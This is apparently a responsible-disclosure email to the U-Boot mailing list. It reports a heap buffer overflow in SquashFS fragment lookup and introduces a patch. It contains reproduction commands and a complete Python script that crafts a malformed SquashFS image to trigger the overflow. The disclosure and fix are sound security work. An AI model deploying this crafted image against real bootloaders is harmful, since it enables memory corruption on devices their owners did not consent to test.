Hi,

I'm Eric Kilmer from Trail of Bits. We found a heap buffer overflow in
U-Boot's SquashFS implementation and have prepared a patch.

sqfs_frag_lookup() has a heap buffer overflow that writes
attacker-controlled data past the SQFS_METADATA_BLOCK_SIZE (8192) heap
buffer. A malformed SquashFS image triggers it through sqfsload when
loading any fragment-backed file. Present since v2020.10
(commit c51006130370 ("fs/squashfs: new filesystem")),
affects all versions through current master.

The function reads a 16-bit metadata block header and uses the lower
15 bits as a memcpy size without bounds checking. sqfs_read_metablock()
in sqfs_inode.c already validates this field but sqfs_frag_lookup() does
not. The fix adds the same check.

This looks related to CVE-2022-33103 and CVE-2022-33967, both heap-based
overflows in the same SquashFS code.

Reproduction

In sandbox (CONFIG_ASAN=y):

  => host bind 0 pov.sqfs
  => sqfsload host 0 0x1000000 /file.txt

Unpatched: "do_check_inuse_chunk: Assertion 'inuse(p)' failed"
Patched:   "Failed to load '/file.txt'" (graceful -EINVAL)

The following script generates the PoV image (requires mksquashfs from
squashfs-tools). It builds a valid image with one small file, then
corrupts only the fragment table index pointer:

  #!/usr/bin/env python3
  import os, struct, subprocess, sys, tempfile
  out = sys.argv[1] if len(sys.argv) > 1 else "pov.sqfs"
  with tempfile.TemporaryDirectory() as d:
      with open(os.path.join(d, "file.txt"), "wb") as f:
          f.write(b"test")
      subprocess.run(["mksquashfs", d, out, "-noI", "-noD", "-noF",
                      "-noX", "-noappend", "-quiet"], check=True)
  img = bytearray(open(out, "rb").read())
  frag_tbl = struct.unpack_from("<Q", img, 0x50)[0]  # fragment_table_start
  # Find a 2-byte value where bit 15 is set (uncompressed) and
  # bits 0-14 > 8192 (overflows the SQFS_METADATA_BLOCK_SIZE buffer)
  for off in range(0x60, frag_tbl):
      h = struct.unpack_from("<H", img, off)[0]
      if (h & 0x8000) and (h & 0x7FFF) > 8192:
          break
  else:
      sys.exit("no suitable header found")
  struct.pack_into("<Q", img, frag_tbl, off)  # corrupt the pointer
  img += b"\x00" * (-len(img) % 4096)         # pad for block alignment
  open(out, "wb").write(img)
  print(f"Wrote {out}: frag index ptr {frag_tbl:#x} -> {off:#x}, "
        f"header {h:#06x}, overflow {(h & 0x7FFF) - 8192} bytes")

This bug was found as part of follow-on research from DARPA's AI Cyber
Challenge (AIXCC), where Trail of Bits built Buttercup, a Cyber
Reasoning System that combines static analysis, fuzzing, and large
language models to find and fix vulnerabilities.
  https://www.darpa.mil/research/programs/ai-cyber
  https://www.trailofbits.com/buttercup/

If there's anything else you need from me, please let me know.

Thanks for your work on U-Boot.

Eric Kilmer (1):
  fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup()

 fs/squashfs/sqfs.c | 5 +++++
 1 file changed, 5 insertions(+)

-- 
2.53.0

Reply via email to